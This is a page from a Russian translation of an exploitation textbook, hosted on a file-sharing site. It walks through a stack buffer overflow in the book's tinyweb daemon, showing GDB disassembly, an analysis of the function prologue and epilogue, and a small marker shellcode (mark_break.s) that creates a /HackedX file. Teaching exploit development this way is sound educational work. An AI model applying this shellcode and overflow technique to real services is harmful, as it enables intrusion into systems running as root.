Главная страница
Навигация по странице:

  • 0x08048fb9 : push ebp 0x08048fba : mov ebp,esp 0x08048fbc : push ebx

  • 0x0804931a : add esp,0x644 0x08049320 : pop ebx 0x08049321 : pop ebp

  • 0x8048fb2 : call 0x8048fb9

  • Хакинг. Хакинг__искусство_эксплоита_2_е_469663841. Книга дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах


    Скачать 2.5 Mb.
    НазваниеКнига дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах
    АнкорХакинг
    Дата16.06.2022
    Размер2.5 Mb.
    Формат файлаpdf
    Имя файлаХакинг__искусство_эксплоита_2_е_469663841.pdf
    ТипКнига
    #595131
    страница38 из 51
    1   ...   34   35   36   37   38   39   40   41   ...   51


    0x08048fb7 : jmp 0x8048f65
    End of assembler dump.
    (gdb)
    Все эти три адреса ведут в одно и то же место. Выберем из них 0x08048fb7, раз это был первоначальный адрес возврата при вызове handle_connec- tion()
    . Но сначала нужно поправить другие вещи. Посмотрите на про- лог и эпилог функции handle_connection(). Это команды, которые поме- щают структуры в кадр стека и удаляют их оттуда.
    (gdb) disass handle_connection
    Dump of assembler code for function handle_connection:
    0x08048fb9 : push ebp
    0x08048fba : mov ebp,esp
    0x08048fbc : push ebx
    0x08048fbd : sub esp,0x644
    0x08048fc3 : lea eax,[ebp-0x218]
    0x08048fc9 : mov DWORD PTR [esp+4],eax
    0x08048fcd : mov eax,DWORD PTR [ebp+8]
    0x08048fd0 : mov DWORD PTR [esp],eax
    0x08048fd3 : call 0x8048cb0
    0x08048fd8 : mov DWORD PTR [ebp-0x620],eax
    0x08048fde : mov eax,DWORD PTR [ebp+12]
    0x08048fe1 : movzx eax,WORD PTR [eax+2]
    0x08048fe5 : mov DWORD PTR [esp],eax
    0x08048fe8 : call 0x80488f0
    .:[ вывод сокращен]:.
    0x08049302 : call 0x8048850
    0x08049307 : mov DWORD PTR [esp+4],0x2 0x0804930f : mov eax,DWORD PTR [ebp+8]
    0x08049312 : mov DWORD PTR [esp],eax
    0x08049315 : call 0x8048800
    0x0804931a : add esp,0x644
    0x08049320 : pop ebx
    0x08049321 : pop ebp
    0x08049322 : ret

    382
    0x600 Противодействие
    End of assembler dump.
    (gdb)
    Пролог, находящийся в начале функции, сохраняет текущие значения регистров EBP и EBX, записывая их в стек, и устанавливает EBP рав- ным текущему значению ESP, чтобы использовать его как базу для до- ступа к помещенным в стек переменным. Для этих переменных отво- дится в стеке 0x644 байта путем вычитания из ESP. Эпилог, находящий- ся в конце функции, восстанавливает ESP путем прибавления к нему
    0x644
    , а также значения EBX и EBP, считывая их из стека в регистры.
    Команды переполнения буфера фактически находятся в функции recv_line()
    , но данные они пишут в кадр стека функции handle_con- nection()
    , поэтому собственно переполнение происходит в handle_con- nection()
    . Обратный адрес, который мы заменяем, помещается в стек, когда вызывается handle_connection(), поэтому сохраненные прологом в стеке значения EBP и EBX окажутся между адресом возврата и под- вергаемым разрушению буфером. Это означает, что при выполнении эпилога EBP и EBX будут искажены. Поскольку мы не сможем управ- лять программой, пока не выполнится команда возврата, все коман- ды между переполнением и командой возврата должны быть выполне- ны. Сначала нужно оценить сопутствующий ущерб, нанесенный эти- ми дополнительными командами после переполнения. Команда ассем- блера int3 переводится в байт 0xcc и служит точкой останова отладчи- ка. В представленном ниже шелл-коде вместо выхода стоит команда int3
    . Эта точка останова будет перехвачена GDB, что позволит нам точ- но выяснить, в каком состоянии находится программа после выполне- ния шелл-кода.
    mark_break.s
    BITS 32
    ; Отметить в файловой системе, что этот код выполнялся.
    jmp short one two:
    pop ebx ; Имя файла xor ecx, ecx mov BYTE [ebx+7], cl ; Null - конец имени файла push BYTE 0x5 ; Open()
    pop eax mov WORD cx, 0x441 ; O_WRONLY|O_APPEND|O_CREAT
    xor edx, edx mov WORD dx, 0x180 ; S_IRUSR|S_IWUSR
    int 0x80 ; Открыть создаваемый файл.
    ; eax = - возвращаемый дескриптор файла mov ebx, eax ; Дескриптор файла – во второй аргумент push BYTE 0x6 ; Close()
    pop eax int 0x80 ; Закрыть файл.

    0x650 Пропуск очевидного
    383
    int 3 ; Прерывание.
    one:
    call two db “/HackedX”
    Чтобы воспользоваться этим шелл-кодом, сначала запустим GDB для отладки демона tinyweb.
    Ниже показано, что точка останова установлена прямо перед обраще- нием к handle_connection(). Задача заключается в том, чтобы восстано- вить в искаженных регистрах те значения, которые были в них в этой точке останова.
    reader@hacking:

    /booksrc $ ./tinywebd
    Starting tiny web daemon.
    reader@hacking:/booksrc $ ps aux | grep tinywebd root 23497 0.0 0.0 1636 356 ? Ss 17:08 0:00 ./tinywebd reader 23506 0.0 0.0 2880 748 pts/1 R+ 17:09 0:00 grep tinywebd reader@hacking:/booksrc $ gcc -g tinywebd.c reader@hacking:/booksrc $ sudo gdb -q -pid=23497 --symbols=./a.out warning: not using untrusted file “/home/reader/.gdbinit”
    Using host libthread_db library “/lib/tls/i686/cmov/libthread_db.so.1”.
    Attaching to process 23497
    /cow/home/reader/booksrc/tinywebd: No such file or directory.
    A program is being debugged already. Kill it? (y or n) n
    Program not killed.
    (gdb) set dis intel
    (gdb) x/5i main+533 0x8048fa8 : mov DWORD PTR [esp+4],eax
    0x8048fac : mov eax,DWORD PTR [ebp-12]
    0x8048faf : mov DWORD PTR [esp],eax
    0x8048fb2 : call 0x8048fb9
    1   ...   34   35   36   37   38   39   40   41   ...   51


    написать администратору сайта